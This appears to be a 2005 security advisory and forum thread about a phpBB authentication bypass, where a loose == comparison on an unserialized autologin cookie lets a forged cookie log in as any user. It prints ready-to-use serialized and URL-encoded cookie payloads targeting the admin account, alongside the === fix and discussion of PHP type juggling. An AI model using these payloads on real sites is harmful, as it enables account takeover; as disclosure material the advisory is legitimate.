Bug author: Heintz (Henno Joosep)
Related site: http://www.waraxe.us
Date of finding: 24.02.2005
problem is in sessions.php which is in /includes catalog.
$sessiondata = isset($HTTP_COOKIE_VARS[$cookiename . '_data']) ? unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename . '_data'])) : array();
here we see an array unserialized
if( $sessiondata['autologinid'] == $auto_login_key )
{
// autologinid matches password
$login = 1;
$enable_autologin = 1;
}
problem is with if() using == operator which considers the statement
true if one side is boolean(true), and that we can achive by unserializing
a bool instead of empty string.
exploitation:
this can be normal admin session cookie.
a:2:{s:11:"autologinid";s:0:"";s:6:"userid";s:1:"2";}
attacker would make array with autologinid as key to boolean(tru) so:
a:2:{s:11:"autologinid";b:1;s:6:"userid";s:1:"2";}
to this to work in real situation it must be urlencoded, and this is how it should look like to
obtain a user with id 2 (usually admin):
a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D
to change the users id bigger, change the
number in end,
a:2:{s:11:"autologinid";b:1;s:6:"userid";s:1:"7";}
if dealing with higher ids you must specify s:N (N as how many decimal places id has)
example below:
a:2:{s:11:"autologinid";b:1;s:6:"userid";s:4:"1234";}
i stated using "===" as contitional operator as a "quick fix", which phpbb
team used (they didn't have time to explore the bug in depth, look below for notes).
originaly i tryed/explored advantages to use unserialize
to unserialize database objects, but using objects as arrays creates fatal error
(possible full path disclosure???).
Notes:
software authors decided to not to credit me cause i posted info public,
not giving them enought time,

Heintz Great Job.
Even if it's a common trick and well documented I didn't notice it yet (  ).
This error is very common in converting perl scripts into php.
For more info:

note: the behavior below is documented in the appendix K about type comparisons, but since it is somewhat buried i thought i should raise it here for people since it threw me for a loop until i figured it out completely.
just to clarify a tricky point about the == comparison operator when dealing with strings and numbers:
('some string' == 0) returns TRUE
however, ('123' == 0) returns FALSE
also note that ((int) 'some string') returns 0
and ((int) '123') returns 123
the behavior makes senes but you must be careful when comparing strings to numbers, e.g. when you're comparing a request variable which you expect to be numeric. its easy to fall into the trap of:
if ($_GET['myvar']==0) dosomething();
as this will dosomething() even when $_GET['myvar'] is 'some string' and clearly not the value 0
i was getting lazy with my types since php vars are so flexible, so be warned to pay attention to the details... |

| I think that Janek censored the message, because it's really harmful at the moment |

i was the one censoring it, cause phpbb guys didn't like the idea posting before/same time about the issue.
and i would appreciate if we do not provide explotation info in some ammount of time (2 days).
i thought of better of people but it seems there just too many script kiddies outside who start making damage whenever possible.

This looks pritty hopeless (from "Boolean - manual):
/* Note the triple equal sign, this is the "exactly equal to" operator,
which checks NOT JUST FOR EQUALITY, BUT FOR TYPE. Using it
ensures that $bool doesn't get converted to a boolean
for the comparison: $bool===true is only true
if $bool is a true boolean, whereas $bool==true
is true for any non-empty string (except "0").
